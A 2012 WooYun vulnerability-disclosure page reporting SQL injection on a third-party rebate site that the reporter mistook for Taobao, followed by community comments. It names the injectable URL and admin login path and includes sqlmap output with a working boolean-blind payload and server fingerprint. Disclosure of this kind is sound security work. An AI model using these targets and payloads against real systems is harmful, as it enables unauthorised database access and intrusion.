当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-09395

漏洞标题：淘宝猫返利（进一步可以入侵）漏洞

相关厂商：淘宝网

漏洞作者： shellcode

提交时间：2012-07-09 21:47

修复时间：2012-07-10 10:29

公开时间：2012-07-10 10:29

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-07-09： 细节已通知厂商并且等待厂商处理中
2012-07-10： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

淘宝猫返利网后台路径暴露和存在注入漏洞 进一步可以入侵 在没有官方的同意下不公布入侵细节 希望尽快修复 本人不喜欢网购 无聊时检测

详细说明：

注入 http://www.taomao88.com/show.php?id=10
后台 http://www.taomao88.com/admin/admin_login.php

GET parameter 'id' is vulnerable. Do you want to keep testing the others? [y/N] n
sqlmap identified the following injection points with a total of 66 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=20 AND 55=55
---
[11:12:55] [INFO] testing MySQL
[11:12:58] [INFO] confirming MySQL
[11:13:14] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.2.17
back-end DBMS: MySQL >= 5.0.0

漏洞证明：


修复方案：

希望尽快修复 没有官方同意不公布过程 请尊重中国自古以来多劳多得的规律 修复是迟早的事

版权声明：转载请注明来源 shellcode@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2012-07-10 10:29

厂商回复：

该网站非淘宝网网站，谢谢

最新状态：

暂无

漏洞评价：

评论

  1. 2012-07-09 22:09 | 风萧萧 认证白帽子 ( 核心白帽子 | Rank:1020 漏洞数:76 | 人这一辈子总要动真格的爱上什么人)

    兄弟，简要描述不够简要

  2. 2012-07-09 22:22 | imlonghao ( 普通白帽子 | Rank:730 漏洞数:74 )

    你确定属于淘宝？

  3. 2012-07-09 22:23 | GuoKer（ZhuLiu） ( 普通白帽子 | Rank:168 漏洞数:21 | 在校学生党的路过 霸气侧漏)

    洞主，漏洞地址走光啦.........

  4. 2012-07-09 23:00 | 波波虎 ( 普通白帽子 | Rank:266 漏洞数:51 | 11111111111)

    这个不是淘宝吧

  5. 2012-07-09 23:02 | shellcode ( 实习白帽子 | Rank:38 漏洞数:9 )

    淘宝猫~~

  6. 2012-07-09 23:16 | zhk ( 普通白帽子 | Rank:436 漏洞数:70 | 先看公告～)

    http://www.taomao88.com/show.php?id=130->"(关键词:阳具)"

  7. 2012-07-09 23:35 | Kaier ( 路人 | Rank:11 漏洞数:1 )

    乍一看以为是淘宝。

  8. 2012-07-09 23:41 | Anony ( 实习白帽子 | Rank:38 漏洞数:5 | 乌云白帽子一枚)

    这。。

  9. 2012-07-09 23:54 | Max ( 实习白帽子 | Rank:45 漏洞数:7 | When you see this sentence, I have been ...)

    介个域名是？？

  10. 2012-07-10 00:37 | shellcode ( 实习白帽子 | Rank:38 漏洞数:9 )

    乌云的大牛们 为什么不审核 也应该有个说法 shellcode发布的漏洞未通过 待审核 已通过 提交日期 漏洞名称 当前状态 2012-07-10 这样劫持，杀毒们，你们敢杀么？ 未审核 2012-07-10 微软0day(适合社工) 未审核 2012-06-16 成功入侵黑客帝国 未审核 2011-12-04 腾讯QQ空间跨站（补充篇） 因为我昨晚提交的到现在乌云的工作人员还没有审核我以为你们忽列了~~~~~ 未审核 2011-12-04 腾讯QQ空间给力XSS跨站影响全部用户 未审核 共 5 条记录, 1 页 1

  11. 2012-07-10 00:38 | shellcode ( 实习白帽子 | Rank:38 漏洞数:9 )

    如下：shellcode发布的漏洞未通过 待审核 已通过 提交日期 漏洞名称 当前状态 2012-07-10 这样劫持，杀毒们，你们敢杀么？ 未审核 2012-07-10 微软0day(适合社工) 未审核 2012-06-16 成功入侵黑客帝国 未审核 2011-12-04 腾讯QQ空间跨站（补充篇） 因为我昨晚提交的到现在乌云的工作人员还没有审核我以为你们忽列了~~~~~ 未审核 2011-12-04 腾讯QQ空间给力XSS跨站影响全部用户 未审核 共 5 条记录, 1 页 1

  12. 2012-07-10 00:46 | zhk ( 普通白帽子 | Rank:436 漏洞数:70 | 先看公告～)

    @shellcode 看洞主漏洞的标题，总给我一种洞主很天真的感觉。^_^

  13. 2012-07-10 00:58 | shellcode ( 实习白帽子 | Rank:38 漏洞数:9 )

    @zhk 大牛见笑了 首先我认为这是个自由的平台 我只是抱怨就是不通过也该写个不通过 这是对其他人的尊重 哪里做得不对 还望大牛你指教

  14. 2012-07-10 01:29 | zhk ( 普通白帽子 | Rank:436 漏洞数:70 | 先看公告～)

    @shellcode "这样劫持，杀毒们，你们敢杀么？" o(∩∩)o...哈哈

  15. 2012-07-10 08:52 | imlonghao ( 普通白帽子 | Rank:730 漏洞数:74 )

    不知道楼主有没有保存那个提交漏洞时的那个很长的链接，假如是不通过的话，他会在里面和你聊天的。。不过真心觉得成功入侵黑客帝国就免了吧。。

  16. 2012-07-10 10:26 | xsjswt ( 普通白帽子 | Rank:156 漏洞数:49 | 我思故我猥琐，我猥琐故我强大)

    我也不喜欢网购

  17. 2012-07-10 10:49 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    中国的断句太有学问了， “淘宝-猫返利” “淘宝猫-返利”

  18. 2012-07-10 11:01 | Valo洛洛 ( 普通白帽子 | Rank:458 漏洞数:52 | 。)

    坐等洞主被封号

  19. 2012-07-10 11:07 | horseluke ( 普通白帽子 | Rank:116 漏洞数:18 | Realize the dream in earnest.)

    @imlonghao 现在已经可以在“我发布的漏洞 - 待审核”那里点击了

  20. 2012-07-10 11:30 | imlonghao ( 普通白帽子 | Rank:730 漏洞数:74 )

    @horseluke 你有没有发现可以当内部聊天室用。。

  21. 2012-07-10 11:51 | horseluke ( 普通白帽子 | Rank:116 漏洞数:18 | Realize the dream in earnest.)

    @imlonghao 囧......没发现